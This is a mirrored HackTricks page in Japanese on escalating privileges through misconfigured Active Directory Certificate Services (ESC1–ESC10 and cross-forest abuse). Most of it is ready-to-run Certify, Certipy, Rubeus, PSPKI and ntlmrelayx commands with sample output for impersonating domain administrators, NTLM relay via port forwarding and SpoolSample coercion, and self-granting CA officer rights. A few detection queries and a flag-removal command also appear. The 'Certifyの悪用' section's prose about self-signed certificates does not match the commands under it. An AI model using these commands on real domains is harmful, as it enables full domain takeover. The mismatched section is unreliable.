Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-23 13:13:41 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md

47 KiB
Raw Blame History

AD CS ドメインエスカレーション

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

設定ミスの証明書テンプレート - ESC1

説明

  • エンタープライズCAは、低特権ユーザーに登録権限を付与します。
  • マネージャーの承認は無効になっています。
  • 承認された署名は必要ありません。
  • 過度に許可された証明書テンプレートのセキュリティ記述子は、低特権ユーザーに証明書の登録権限を付与します。
  • 証明書テンプレートは認証を有効にするEKUを定義します：
  • クライアント認証（OID 1.3.6.1.5.5.7.3.2）、PKINITクライアント認証（1.3.6.1.5.2.3.4）、スマートカードログオン（OID 1.3.6.1.4.1.311.20.2.2）、任意の目的（OID 2.5.29.37.0）、またはEKUなし（SubCA）
  • 証明書テンプレートは、CSRでsubjectAltNameを指定することを要求することができます：
  • ADは、証明書のsubjectAltName（SAN）フィールドで指定されたアイデンティティを使用します**（存在する場合）。したがって、リクエスタがCSRでSANを指定できる場合、リクエスタは任意の主体（たとえば、ドメイン管理者ユーザー）として証明書を要求できます。証明書テンプレートのADオブジェクトは、リクエスタが**mspki-certificate-name-flagプロパティでSANを指定できるかどうかを指定します。mspki-certificate-name-flagプロパティはビットマスクであり、CT_FLAG_ENROLLEE_SUPPLIES_SUBJECTフラグが存在する**場合、リクエスタはSANを指定できます。

{% hint style="danger" %} これらの設定により、低特権ユーザーが任意のSANを持つ証明書を要求できるようになり、低特権ユーザーはKerberosまたはSChannelを介してドメイン内の任意の主体として認証できます。 {% endhint %}

これは、たとえば、製品や展開サービスがHTTPS証明書を生成したり、ホスト証明書を動的に生成するために有効にされることがよくあります。または、知識の不足のためです。

この最後のオプションを持つ証明書が作成されると、警告が表示されますが、この構成で証明書テンプレートが複製される場合は表示されません（WebServerテンプレートの場合、CT_FLAG_ENROLLEE_SUPPLIES_SUBJECTが有効になっており、管理者が認証OIDを追加する可能性があります）。

悪用

脆弱な証明書テンプレートを見つけるには、次のコマンドを実行します：

Certify.exe find /vulnerable
certipy find -u john@corp.local -p Passw0rd -dc-ip 172.16.126.128

この脆弱性を悪用して管理者をなりすますためには、次のコマンドを実行することができます。

Certify.exe request /ca:dc.theshire.local-DC-CA /template:VulnTemplate /altname:localadmin
certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC1' -alt 'administrator@corp.local'

次に、生成された証明書を .pfx 形式に変換し、再び Rubeus や certipy を使用して認証することができます。

Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt
certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100

Windowsバイナリ「Certreq.exe」と「Certutil.exe」は、PFXを生成するために悪用される可能性があります：https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee

さらに、ADフォレストの構成スキーマに対して実行される次のLDAPクエリは、承認/署名が不要で、クライアント認証またはスマートカードログオンEKUを持ち、CT_FLAG_ENROLLEE_SUPPLIES_SUBJECTフラグが有効になっている証明書テンプレートを列挙するために使用できます：

(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1))

設定ミスのある証明書テンプレート - ESC2

説明

2番目の悪用シナリオは、最初のもののバリエーションです：

  1. エンタープライズCAは、低特権ユーザーに対して登録権限を付与します。
  2. マネージャーの承認は無効になっています。
  3. 承認された署名は必要ありません。
  4. 過度に許可された証明書テンプレートのセキュリティ記述子が、低特権ユーザーに証明書の登録権限を付与します。
  5. 証明書テンプレートには、Any Purpose EKUまたはEKUが定義されていません。

Any Purpose EKUは、攻撃者がクライアント認証、サーバー認証、コード署名などの任意の目的のために証明書を取得することを可能にします。この場合も、ESC3と同じ手法を使用してこれを悪用することができます。

EKUのない証明書（下位CA証明書）も同様に任意の目的に悪用される可能性がありますが、新しい証明書に署名するためにも使用できます。そのため、下位CA証明書を使用して、攻撃者は新しい証明書に任意のEKUやフィールドを指定することができます。

ただし、下位CAがNTAuthCertificatesオブジェクトによって信頼されていない場合（デフォルトではそうではありません）、攻撃者はドメイン認証に対して機能する新しい証明書を作成することはできません。それでも、攻撃者は任意のEKUと任意の証明書値を持つ新しい証明書を作成することができます。これには、悪用の可能性があります（たとえば、コード署名、サーバー認証など）し、SAML、AD FS、IPSecなどのネットワーク内の他のアプリケーションに大きな影響を与える可能性があります。

以下のLDAPクエリは、ADフォレストの構成スキーマに対して実行されると、このシナリオに一致するテンプレートを列挙するために使用できます：

(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))

設定ミスの登録エージェントテンプレート - ESC3

説明

このシナリオは、最初と2番目とは異なるEKU（証明書リクエストエージェント）と2つの異なるテンプレートを悪用するものです。

Microsoftのドキュメントでは「登録エージェント」として知られる証明書リクエストエージェントEKU（OID 1.3.6.1.4.1.311.20.2.1）は、他のユーザーの代わりに証明書の登録を行うためのプリンシパルを許可します。

「登録エージェント」は、このようなテンプレートに登録し、結果として得られた証明書を他のユーザーの代わりにCSRに共同署名します。その後、共同署名されたCSRをCAに送信し、「代理で登録」を許可するテンプレートに登録し、CAは「他の」ユーザーに属する証明書を返します。

要件1：

  1. エンタープライズCAは、低特権ユーザーに対して登録権限を許可します。
  2. マネージャーの承認は無効になっています。
  3. 承認された署名は必要ありません。
  4. 過度に許可された証明書テンプレートのセキュリティ記述子により、低特権ユーザーに証明書の登録権限が与えられます。
  5. 証明書テンプレートは、証明書リクエストエージェントEKUを定義しています。証明書リクエストエージェントOID（1.3.6.1.4.1.311.20.2.1）は、他のプリンシパルのために他の証明書テンプレートを要求するために使用されます。

要件2：

  1. エンタープライズCAは、低特権ユーザーに対して登録権限を許可します。
  2. マネージャーの承認は無効になっています。
  3. テンプレートのスキーマバージョンが1以上であり、証明書リクエストエージェントEKUを要求するアプリケーションポリシー発行要件が指定されています。
  4. 証明書テンプレートは、ドメイン認証を許可するEKUを定義しています。
  5. 登録エージェントの制限はCAに実装されていません。

悪用

CertifyまたはCertipyを使用して、このシナリオを悪用することができます。

# Request an enrollment agent certificate
Certify.exe request /ca:CORPDC01.CORP.LOCAL\CORP-CORPDC01-CA /template:Vuln-EnrollmentAgent
certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'templateName'

# Enrollment agent certificate to issue a certificate request on behalf of
# another user to a template that allow for domain authentication
Certify.exe request /ca:CORPDC01.CORP.LOCAL\CORP-CORPDC01-CA /template:User /onbehalfof:CORP\itadmin /enrollment:enrollmentcert.pfx /enrollcertpwd:asdf
certipy req 'corp.local/john:Pass0rd!@ca.corp.local' -ca 'corp-CA' -template 'User' -on-behalf-of 'corp\administrator' -pfx 'john.pfx'

# Use Rubeus with the certificate to authenticate as the other user
Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf

Enterprise CAsは、certsrc.mscスナップインを開き、CAを右クリックしてプロパティをクリックし、「Enrollment Agents」タブに移動することで、誰が登録エージェント証明書を取得できるか、エージェントが登録できるテンプレート、およびエージェントが代理でアクションを実行できるアカウントを制約することができます。

ただし、デフォルトのCA設定は「登録エージェントを制限しない」です。管理者が「登録エージェントを制限する」を有効にしても、デフォルトの設定は非常に許容範囲が広く、誰でも誰のテンプレートでもアクセスできるようになっています。

脆弱な証明書テンプレートのアクセス制御 - ESC4

説明

証明書テンプレートには、特定のADプリンシパルがテンプレートに対して特定の権限を持つかどうかを指定するセキュリティ記述子があります。

もし攻撃者がテンプレートを変更し、前のセクションで説明した脆弱性のある設定を作成するための十分な権限を持っている場合、それを悪用して特権をエスカレートさせることができます。

証明書テンプレートに関する興味深い権限:

  • Owner: オブジェクトの暗黙のフルコントロール権限で、任意のプロパティを編集できます。
  • FullControl: オブジェクトのフルコントロール権限で、任意のプロパティを編集できます。
  • WriteOwner: 攻撃者が制御するプリンシパルに所有者を変更できます。
  • WriteDacl: 攻撃者にフルコントロールを付与するためにアクセス制御を変更できます。
  • WriteProperty: 任意のプロパティを編集できます。

悪用方法

前述のような特権昇格の例:

ESC4は、ユーザーが証明書テンプレートに対して書き込み権限を持っている場合の特権昇格です。これは、例えば証明書テンプレートの構成を上書きしてテンプレートをESC1に対して脆弱にするために悪用される可能性があります。

上記のパスでわかるように、書き込み権限を持っているのはJOHNPCだけですが、私たちのユーザーJOHNはJOHNPCに対して新しいAddKeyCredentialLinkエッジを持っています。この攻撃は証明書に関連しているため、Shadow Credentialsとしても知られる攻撃を実装しました。ここでは、Certipyのshadow autoコマンドを使用して被害者のNTハッシュを取得する一部をご紹介します。

Certipyは、単一のコマンドで証明書テンプレートの構成を上書きすることができます。デフォルトでは、Certipyは構成を上書きしてESC1に対して脆弱にします。また、攻撃後の構成の復元に役立つため、-save-oldパラメータを指定して古い構成を保存することもできます。

# Make template vuln to ESC1
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old

# Exploit ESC1
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template ESC4-Test -upn administrator@corp.local

# Restore config
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -configuration ESC4-Test.json

脆弱なPKIオブジェクトのアクセス制御 - ESC5

説明

AD CSのセキュリティに影響を与えるACLベースの相互接続されたウェブは広範囲です。証明書テンプレートや証明書機関自体以外のいくつかのオブジェクトが、AD CSシステム全体にセキュリティ上の影響を与える可能性があります。これには以下が含まれます（ただし、これに限定されません）：

  • CAサーバーのADコンピュータオブジェクト（S4U2SelfまたはS4U2Proxyを介した侵害）
  • CAサーバーのRPC/DCOMサーバー
  • CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>の子孫ADオブジェクトまたはコンテナ（証明書テンプレートコンテナ、認証機関コンテナ、NTAuthCertificatesオブジェクト、登録サービスコンテナなど）

低特権の攻撃者がこれらのいずれかを制御できる場合、攻撃はおそらくPKIシステムを侵害することができます。

EDITF_ATTRIBUTESUBJECTALTNAME2 - ESC6

説明

もう1つの類似の問題があり、CQure Academyの投稿で説明されています。これは**EDITF_ATTRIBUTESUBJECTALTNAME2フラグに関連しています。Microsoftによれば、「このフラグがCAに設定されている場合、（Active Directory®からサブジェクトが構築される場合を含む）任意のリクエストにはユーザー定義の値が代替名に含まれる可能性があります。」
これは、攻撃者が、ドメイン認証に構成された任意のテンプレートに登録し、（たとえば、デフォルトのユーザーテンプレートなど）特権のないユーザーが登録できる証明書を取得し、ドメイン管理者（または他のアクティブなユーザー/マシン**）として認証することができることを意味します。

注意: ここでの代替名は、certreq.exeの-attrib "SAN:"引数を使用してCSRに含まれます（つまり、「名前値ペア」）。これは、ESC1でSANを悪用する方法とは異なり、アカウント情報を証明書の拡張子ではなく証明書属性に格納します。

悪用

組織は、次のcertutil.exeコマンドを使用して、この設定が有効になっているかどうかを確認できます：

certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags"

以下は単にリモート****レジストリを使用しているため、次のコマンドも機能する場合があります：

reg.exe query \\<CA_SERVER>\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA_NAME>\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags

CertifyとCertipyもこれをチェックし、この設定ミスを悪用するために使用することができます。

# Check for vulns, including this one
Certify.exe find

# Abuse vuln
Certify.exe request /ca:dc.theshire.local\theshire-DC-CA /template:User /altname:localadmin
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local

これらの設定は、ドメイン管理者（または同等の権限を持つユーザー）の権限がある場合、どのシステムからでも設定することができます。

certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2

もし環境でこの設定を見つけた場合、次のコマンドでこのフラグを削除できます:

certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2

{% hint style="warning" %} 2022年5月のセキュリティ更新後、新しい証明書には、セキュリティ拡張機能が埋め込まれます。この拡張機能は、リクエスト元のobjectSidプロパティを反映します。ESC1では、このプロパティは指定されたSANから反映されますが、ESC6では、このプロパティはSANからではなく、リクエスト元のobjectSidを反映します。
したがって、ESC6を悪用するには、環境がESC10に対して脆弱である必要があります（弱い証明書マッピング）。この場合、新しいセキュリティ拡張機能よりもSANが優先されます。 {% endhint %}

脆弱な証明書機関のアクセス制御 - ESC7

攻撃1

説明

証明書機関自体には、さまざまなCAアクションを保護するための権限セットがあります。これらの権限は、certsrv.mscにアクセスし、CAを右クリックしてプロパティを選択し、セキュリティタブに切り替えることでアクセスできます。

これは、PSPKIのモジュールを使用してGet-CertificationAuthority | Get-CertificationAuthorityAclで列挙することもできます。

Get-CertificationAuthority -ComputerName dc.theshire.local | Get-certificationAuthorityAcl | select -expand Access

悪用

ここでの2つの主な権限は、ManageCA 権限と ManageCertificates 権限であり、それぞれ「CA管理者」と「証明書マネージャー」に対応します。

もし、証明書機関に対して ManageCA 権限を持つプリンシパルがいる場合、PSPKI を使用してリモートで EDITF_ATTRIBUTESUBJECTALTNAME2 ビットを反転させ、任意のテンプレートでSANの指定を許可することができます（ECS6）：

また、PSPKIのEnable-PolicyModuleFlagコマンドレットを使用することで、より簡単な形式でも同様のことが可能です。

ManageCertificates 権限は、保留中のリクエストを承認することを許可するため、「CA証明書マネージャーの承認」保護をバイパスすることができます。

Certify と PSPKI モジュールの組み合わせを使用して、証明書のリクエスト、承認、およびダウンロードを行うことができます。

# Request a certificate that will require an approval
Certify.exe request /ca:dc.theshire.local\theshire-DC-CA /template:ApprovalNeeded
[...]
[*] CA Response      : The certificate is still pending.
[*] Request ID       : 336
[...]

# Use PSPKI module to approve the request
Import-Module PSPKI
Get-CertificationAuthority -ComputerName dc.theshire.local | Get-PendingRequest -RequestID 336 | Approve-CertificateRequest

# Download the certificate
Certify.exe download /ca:dc.theshire.local\theshire-DC-CA /id:336

攻撃2

説明

{% hint style="warning" %} 前の攻撃では、Manage CA 権限を使用して、EDITF_ATTRIBUTESUBJECTALTNAME2 フラグを有効にして ESC6 攻撃を実行しましたが、これは CA サービス (CertSvc) が再起動されるまで効果がありません。ユーザーが Manage CA アクセス権を持っている場合、ユーザーはサービスを再起動することも許可されます。ただし、ユーザーがリモートでサービスを再起動できるわけではありません。さらに、ESC6 は、2022 年 5 月のセキュリティ更新により、ほとんどのパッチ済み環境ではデフォルトで機能しない可能性があります。 {% endhint %}

したがって、ここでは別の攻撃方法を紹介します。

前提条件：

  • ManageCA 権限のみ
  • Manage Certificates 権限（ManageCA から付与できます）
  • 証明書テンプレート SubCA が 有効化されている必要があります（ManageCA から有効化できます）

この技術は、Manage CA および Manage Certificates アクセス権を持つユーザーが 失敗した証明書リクエストを発行できることに依存しています。SubCA 証明書テンプレートは ESC1 に脆弱ですが、管理者のみがテンプレートに登録できます。したがって、ユーザーは SubCA に登録をリクエストすることができますが、拒否されますが、その後で マネージャーによって発行されます。

悪用方法

自分自身を新しいオフィサーとして追加することで、Manage Certificates アクセス権を自分自身に付与することができます。

certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Successfully added officer 'John' on 'corp-DC-CA'

SubCA テンプレートは、-enable-template パラメータを使用して CA で有効にすることができます。デフォルトでは、SubCA テンプレートは有効になっています。

# List templates
certipy ca 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -enable-template 'SubCA'
## If SubCA is not there, you need to enable it

# Enable SubCA
certipy ca -ca 'corp-DC-CA' -enable-template SubCA -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Successfully enabled 'SubCA' on 'corp-DC-CA'

もし攻撃のための前提条件を満たしている場合、まずは「SubCAテンプレート」に基づいて証明書をリクエストします。

このリクエストは拒否されますが、私たちは秘密鍵を保存し、リクエストIDをメモしておきます。

certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template SubCA -upn administrator@corp.local
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[-] Got error while trying to request certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.
[*] Request ID is 785
Would you like to save the private key? (y/N) y
[*] Saved private key to 785.key
[-] Failed to request certificate

私たちの**Manage CAとManage Certificates**を使用して、caコマンドと-issue-request <request ID>パラメータを使用して、失敗した証明書のリクエストを発行することができます。

certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Successfully issued certificate

そして最後に、reqコマンドと-retrieve <リクエストID>パラメータを使用して、発行された証明書を取得することができます。

certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -retrieve 785
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Rerieving certificate with ID 785
[*] Successfully retrieved certificate
[*] Got certificate with UPN 'administrator@corp.local'
[*] Certificate has no object SID
[*] Loaded private key from '785.key'
[*] Saved certificate and private key to 'administrator.pfx'

NTLM Relayを使用したAD CS HTTPエンドポイントへの攻撃 - ESC8

説明

{% hint style="info" %} 要約すると、もし環境にAD CSがインストールされていて、脆弱なWeb登録エンドポイントと、少なくともドメインコンピュータの登録とクライアント認証を許可する（デフォルトの**Machine**テンプレートのような）公開された証明書テンプレートがある場合、スプーラーサービスが実行されている任意のコンピュータを攻撃者が侵害できます！ {% endhint %}

AD CSは、管理者がインストールできる追加のAD CSサーバーロールを介して、いくつかのHTTPベースの登録方法をサポートしています。これらのHTTPベースの証明書登録インターフェースは、すべて脆弱なNTLMリレーアタックです。NTLMリレーを使用すると、侵害されたマシン上の攻撃者は、受信NTLM認証を行うADアカウントをなりすますことができます。攻撃者は、被害者アカウントをなりすまし、これらのWebインターフェースにアクセスし、UserまたはMachine証明書テンプレートに基づいたクライアント認証証明書を要求することができます。

  • Web登録インターフェース（http://<caserver>/certsrv/でアクセス可能な古い外観のASPアプリケーション）は、デフォルトではHTTPのみをサポートしており、NTLMリレーアタックに対して保護することはできません。さらに、明示的にAuthorization HTTPヘッダーを介したNTLM認証のみを許可しているため、Kerberosのようなより安全なプロトコルは使用できません。
  • 証明書登録サービス（CES）、証明書登録ポリシー（CEP）Webサービス、およびネットワークデバイス登録サービス（NDES）は、デフォルトでAuthorization HTTPヘッダーを介したネゴシエート認証をサポートしています。ネゴシエート認証は、KerberosとNTLMの両方をサポートしており、そのため、リレーアタック中に攻撃者はNTLM認証にネゴシエートダウンすることができます。これらのWebサービスはデフォルトでHTTPSを有効にしていますが、残念ながらHTTPS単体ではNTLMリレーアタックから保護することはできません。HTTPSサービスをNTLMリレーアタックから保護するには、HTTPSにチャネルバインディングを組み合わせる必要があります。残念ながら、AD CSはIISで拡張保護を有効にしていないため、チャネルバインディングを有効にするためには必要です。

NTLMリレーアタックの一般的な問題は、NTLMセッションが通常短いことと、攻撃者がNTLM署名を強制するサービスとのやり取りができないことです。

しかし、ユーザーから証明書を取得するためにNTLMリレーアタックを悪用すると、セッションは証明書が有効である限り継続し、証明書を使用してNTLM署名を強制するサービスを利用することができます。盗まれた証明書の使用方法については、次を参照してください：

{% content-ref url="account-persistence.md" %} account-persistence.md {% endcontent-ref %}

NTLMリレーアタックのもう一つの制限は、被害者アカウントが攻撃者が制御するマシンに認証する必要があるということです。攻撃者は待つか、それを強制することができます：

{% content-ref url="../printers-spooler-service-abuse.md" %} printers-spooler-service-abuse.md {% endcontent-ref %}

悪用方法

****Certifyのcasコマンドを使用すると、有効なHTTP AD CSエンドポイントを列挙できます：

Certify.exe cas

エンタープライズCAは、ADオブジェクト内のmsPKI-Enrollment-ServersプロパティにCESエンドポイントを保存します。Certutil.exeとPSPKIは、これらのエンドポイントを解析してリスト化することができます。

certutil.exe -enrollmentServerURL -config CORPDC01.CORP.LOCAL\CORP-CORPDC01-CA
```powershell Import-Module PSPKI Get-CertificationAuthority | select Name,Enroll* | Format-List * ```

Certifyの悪用

Certifyは、Windowsドメイン内で証明書を発行するためのツールです。このツールを悪用することで、特権の昇格が可能となります。

攻撃者は、Certifyを使用して自己署名証明書を作成し、ドメインコントローラーにインストールします。その後、攻撃者は作成した証明書を使用して、ドメイン内の他のコンピューターに対して信頼関係を確立します。

このような攻撃を行うことで、攻撃者はドメイン内の他のコンピューターに対して特権を持つことができます。これにより、攻撃者はシステムやデータにアクセスし、機密情報を盗み出すなどの悪意のある行動を行うことができます。

Certifyの悪用に対抗するためには、適切な証明書管理ポリシーを実施し、信頼できる証明書のみを受け入れるように設定する必要があります。また、定期的な証明書の監査や更新も重要です。

## In the victim machine
# Prepare to send traffic to the compromised machine 445 port to 445 in the attackers machine
PortBender redirect 445 8445
rportfwd 8445 127.0.0.1 445
# Prepare a proxy that the attacker can use
socks 1080

## In the attackers
proxychains ntlmrelayx.py -t http://<AC Server IP>/certsrv/certfnsh.asp -smb2support --adcs --no-http-server

# Force authentication from victim to compromised machine with port forwards
execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe <victim> <compromised>

Certipyの悪用

デフォルトでは、Certipyはリレーアカウント名が$で終わるかどうかに応じて、MachineまたはUserテンプレートに基づいて証明書を要求します。-templateパラメータを使用して別のテンプレートを指定することも可能です。

その後、PetitPotamのような技術を使用して認証を強制することができます。ドメインコントローラの場合、-template DomainControllerを指定する必要があります。

$ certipy relay -ca ca.corp.local
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Targeting http://ca.corp.local/certsrv/certfnsh.asp
[*] Listening on 0.0.0.0:445
[*] Requesting certificate for 'CORP\\Administrator' based on the template 'User'
[*] Got certificate with UPN 'Administrator@corp.local'
[*] Certificate object SID is 'S-1-5-21-980154951-4172460254-2779440654-500'
[*] Saved certificate and private key to 'administrator.pfx'
[*] Exiting...

セキュリティ拡張なし - ESC9

説明

ESC9は、新しい**msPKI-Enrollment-Flag値CT_FLAG_NO_SECURITY_EXTENSION**（0x80000）を指します。このフラグが証明書テンプレートに設定されている場合、新しいszOID_NTDS_CA_SECURITY_EXTセキュリティ拡張は埋め込まれません。ESC9は、StrongCertificateBindingEnforcementが1（デフォルト）に設定されている場合にのみ有効です。なぜなら、KerberosまたはSchannelのより弱い証明書マッピング構成をESC10として悪用することができるからです。要件は同じであるため、ESC9は必要ありません。

  • StrongCertificateBindingEnforcementが2（デフォルト：1）に設定されていないか、CertificateMappingMethodsにUPNフラグが含まれている
  • 証明書にmsPKI-Enrollment-Flag値のCT_FLAG_NO_SECURITY_EXTENSIONフラグが含まれている
  • 証明書が任意のクライアント認証EKUを指定している
  • 任意のアカウントAに対してGenericWriteを使用して任意のアカウントBを侵害する

悪用方法

この場合、John@corp.localはJane@corp.localに対してGenericWriteを持っており、Administrator@corp.localを侵害したいとします。Jane@corp.localは、msPKI-Enrollment-Flag値のCT_FLAG_NO_SECURITY_EXTENSIONフラグが設定されている証明書テンプレートESC9に登録することが許可されています。

まず、Janeのハッシュを取得します。たとえば、Shadow Credentialsを使用して取得します（GenericWriteを使用）。

次に、JaneのuserPrincipalNameをAdministratorに変更します。@corp.localの部分は省略していることに注意してください。

これは制約違反ではありません。なぜなら、AdministratorユーザーのuserPrincipalNameはAdministrator@corp.localではなくAdministratorだからです。

次に、脆弱な証明書テンプレートESC9をリクエストします。証明書はJaneとしてリクエストする必要があります。

証明書のuserPrincipalNameがAdministratorであり、発行された証明書には「オブジェクトSID」が含まれていないことに注意してください。

その後、JaneのuserPrincipalNameを元のJane@corp.localなど別のものに戻します。

これで、証明書で認証しようとすると、Administrator@corp.localユーザーのNTハッシュが受け取られます。証明書にドメインが指定されていないため、コマンドラインに-domain <domain>を追加する必要があります。

弱い証明書マッピング - ESC10

説明

ESC10は、ドメインコントローラ上の2つのレジストリキー値を指します。

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel CertificateMappingMethods。デフォルト値は0x18（0x8 | 0x10）、以前は0x1Fでした。

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc StrongCertificateBindingEnforcement。デフォルト値は1、以前は0でした。

ケース1

StrongCertificateBindingEnforcementが0に設定されている

ケース2

CertificateMappingMethodsにUPNビット（0x4）が含まれている

悪用方法 ケース1

  • StrongCertificateBindingEnforcementが0に設定されている
  • GenericWriteを使用して任意のアカウントAを侵害し、任意のアカウントBを侵害する

この場合、John@corp.localはJane@corp.localに対してGenericWriteを持っており、Administrator@corp.localを侵害したいとします。悪用手順はESC9とほぼ同じですが、任意の証明書テンプレートを使用できます。

まず、Janeのハッシュを取得します。たとえば、Shadow Credentialsを使用して取得します（GenericWriteを使用）。

次に、JaneのuserPrincipalNameをAdministratorに変更します。@corp.localの部分は省略していることに注意してください。

これは制約違反ではありません。なぜなら、AdministratorユーザーのuserPrincipalNameはAdministrator@corp.localではなくAdministratorだからです。

次に、クライアント認証を許可する任意の証明書をリクエストします。たとえば、デフォルトのUserテンプレートを使用できます。証明書はJaneとしてリクエストする必要があります。

証明書のuserPrincipalNameがAdministratorであることに注意してください。

その後、JaneのuserPrincipalNameを元のJane@corp.localなど別のものに戻します。

これで、証明書で認証しようとすると、Administrator@corp.localユーザーのNTハッシュが受け取られます。証明書にドメインが指定されていないため、コマンドラインに-domain <domain>を追加する必要があります。

悪用方法 ケース2

  • CertificateMappingMethodsにUPNビットフラグ（0x4）が含まれている
  • userPrincipalNameプロパティを持たない任意のアカウントAを侵害し、マシンアカウントおよび組み込みドメイン管理者Administratorを侵害する

この場合、John@corp.localはJane@corp.localに対してGenericWriteを持っており、ドメインコントローラDC$@corp.localを侵害したいとします。

ま 次に、JaneのuserPrincipalNameを元のuserPrincipalName（Jane@corp.local）に戻します。

さて、このレジストリキーはSchannelに適用されるため、Schannelを介した認証には証明書を使用する必要があります。これは、Certipyの新しい-ldap-shellオプションが役立ちます。

証明書と-ldap-shellを使用して認証を試みると、サーバーからu:CORP\DC$という文字列で認証されていることがわかります。

LDAPシェルの利用可能なコマンドの1つは、ターゲットにリソースベースの制約委任（RBCD）を設定するset_rbcdです。したがって、RBCD攻撃を実行してドメインコントローラーを侵害することができます。

また、userPrincipalNameが設定されていないユーザーアカウントや、userPrincipalNameがそのアカウントのsAMAccountNameと一致しない場合にも、任意のユーザーアカウントを侵害することができます。私自身のテストでは、デフォルトのドメイン管理者であるAdministrator@corp.localはデフォルトではuserPrincipalNameが設定されていないため、このアカウントは通常、ドメインコントローラーよりもLDAPでより多くの特権を持つはずです。

証明書を使用したフォレストの侵害

CAの信頼関係によるフォレストの侵害

クロスフォレストの登録のセットアップは比較的簡単です。管理者は、リソースフォレストのルートCA証明書をアカウントフォレストに公開し、リソースフォレストのエンタープライズCA証明書を各アカウントフォレストの**NTAuthCertificatesおよびAIAコンテナに追加します。はっきり言って、これはリソースフォレストのCAが管理する他のすべてのフォレストに完全な制御権を持つことを意味します。攻撃者がこのCAを侵害すると、リソースフォレストとアカウントフォレストのすべてのユーザーの証明書を偽造することができ、フォレストのセキュリティ境界を破ることができます。

登録権限を持つ外部プリンシパル

マルチフォレスト環境では、Enterprise CAが認証ユーザーまたは外部プリンシパル（Enterprise CAが所属するフォレスト外のユーザー/グループ）に登録および編集権限を付与する証明書テンプレートを公開することに注意する必要があります。
アカウントが信頼を介して認証すると、ADは認証ユーザーのSIDを認証ユーザーのトークンに追加します。したがって、エンタープライズCAが認証ユーザーに登録権限を付与するテンプレートを持つドメインがある場合、異なるフォレストのユーザーはそのテンプレートに登録する可能性があります。同様に、テンプレートが外部プリンシパルに明示的に登録権限を付与する場合、クロスフォレストのアクセス制御関係が作成され、1つのフォレストのプリンシパルが他のフォレストのテンプレートに登録することが許可されます。

結局のところ、これらのシナリオのいずれかでは、1つのフォレストから別のフォレストへの攻撃面が増加します。証明書テンプレートの設定によっては、攻撃者はこれを悪用して外部ドメインで追加の特権を取得する可能性があります。

参考文献

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥